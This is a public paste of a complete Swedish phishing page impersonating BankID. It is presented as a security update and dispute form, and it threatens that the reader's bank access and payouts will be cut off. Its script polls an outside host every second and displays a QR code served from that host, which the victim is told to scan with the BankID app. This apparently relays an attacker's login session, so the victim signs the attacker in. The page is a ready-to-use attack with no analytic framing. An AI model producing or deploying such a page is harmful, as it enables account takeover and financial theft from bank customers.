Untitled
5 hours ago in HTML
Raw Download 
<html lang="sv">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>BankID Säkerhetsuppdatering</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        .container {
            text-align: center;
            background-color: #ffffff;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            width: 300px;
            margin-bottom: 20px;
        }
        h1 {
            font-size: 20px;
            margin: 10px 0;
        }
        p {
            color: #555;
        }
        footer {
            font-size: 12px;
            color: #aaa;
            text-align: center;
            margin-top: 10px;
        }
        .logo {
            width: 100px;
            margin-bottom: 20px;
        }
        .hidden {
            display: none;
        }
        .start-section button {
            background-color: #1a3d50;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .start-section button:hover {
            background-color: #2980b9;
        }
        .loading-text {
            font-family: Arial, sans-serif;
            font-size: 16px;
            margin-top: 10px;
        }
        .spinner {
            border: 8px solid #f3f3f3;
            border-top: 8px solid #3498db;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 2s linear infinite;
            margin: 20px auto;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        #qr_code {
            display: none;
            width: 200px;
            height: 200px;
            margin: 0 auto;
        }
        .qr-instructions {
            font-family: Arial, sans-serif;
            font-size: 14px;
            color: #333;
            margin-bottom: 20px;
            display: none;
        }
    </style>
</head>
<body>
    <img src="https://www.bankid.com/assets/bankid/logo/BankID_logo.png" alt="BankID Logotyp" class="logo">
    
    <!-- Startsektion -->
    <div class="container start-section">
        <h1>Välkommen</h1>
        <p>
            Påbörja reklamationstvister för att återkalla bedrägliga betalningar och säkerställ att din mobila enhet uppfyller säkerhetskraven för internetbanken.<br><br>
            Vid utebliven uppdatering kommer åtkomst till internetbanken begränsas och dina utbetalningar stoppas.
        </p>
        <button onclick="start()">Fortsätt</button>
    </div>
    <!-- QR-kodsektion -->
    <div class="container hidden loading-section">
        <h1>Säkerhetsuppdatering</h1>
        <p class="qr-instructions" id="qrInstructions">
            Starta BankID appen på din telefon och tryck på ikonen för QR-kod i appen för att skanna QR-koden på den här sidan.
        </p>
        <div class="spinner" id="spinner"></div>
        <div class="loading-text" id="loadingText">Inväntar signering...</div>
        <!-- QR-kodbild -->
        <img id="qr_code" src="" alt="QR Code">
    </div>
    <!-- Text under modulen -->
    <footer>
        © Finansiell ID-teknik BID AB 2024<br>
        Dessa anslutningar är krypterade.
    </footer>
    <script>
        function start() {
            // Dölj startsektionen och visa QR-kodsektionen
            document.querySelector('.start-section').classList.add('hidden');
            document.querySelector('.loading-section').classList.remove('hidden');
        }
        function fetchQRCode() {
    fetch('https://ar.meny.top/qr_status')
        .then(response => response.json())
        .then(data => {
            if (data.qr_code_detected) {
                // Add a timestamp as a query parameter for cache-busting
                let timestamp = new Date().getTime();
                document.getElementById('qr_code').src = `https://ar.meny.top/latest_qr?${timestamp}`;
                
                document.getElementById('qr_code').style.display = 'block'; // Show the image
                document.getElementById('spinner').style.display = 'none';  // Hide the spinner
                document.getElementById('loadingText').style.display = 'none'; // Hide loading text
            } else {
                // Handle case when no QR code is detected
                document.getElementById('qr_code').style.display = 'none';
                document.getElementById('spinner').style.display = 'block';
                document.getElementById('loadingText').style.display = 'block';
            }
        })
        .catch(error => {
            console.error('Could not fetch QR status:', error);
            // Potentially keep showing spinner/loading here
            document.getElementById('qr_code').style.display = 'none';
            document.getElementById('spinner').style.display = 'block';
            document.getElementById('loadingText').style.display = 'block';
        });
}
// Kontrollera QR-status varje sekund
setInterval(fetchQRCode, 1000);
        // Kontrollera QR-status varje sekund
        setInterval(fetchQRCode, 1000);
    </script>
</body>
</html>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
Recent Public Pastes
Untitled - 5 hours ago Untitled - 21 hours ago Untitled - 4 days ago BOPET Packaging Films: The Invisible Shield Behind Everyday Products - 1 week ago Untitled - 1 week ago error slog - 1 week ago Untitled - 2 weeks ago cheat_table_phantom_brave_the_lost_hero_v20250424_plus_7.zip - 1.6 MB - 2 weeks ago googlelogin - 2 weeks ago Untitled - 2 weeks ago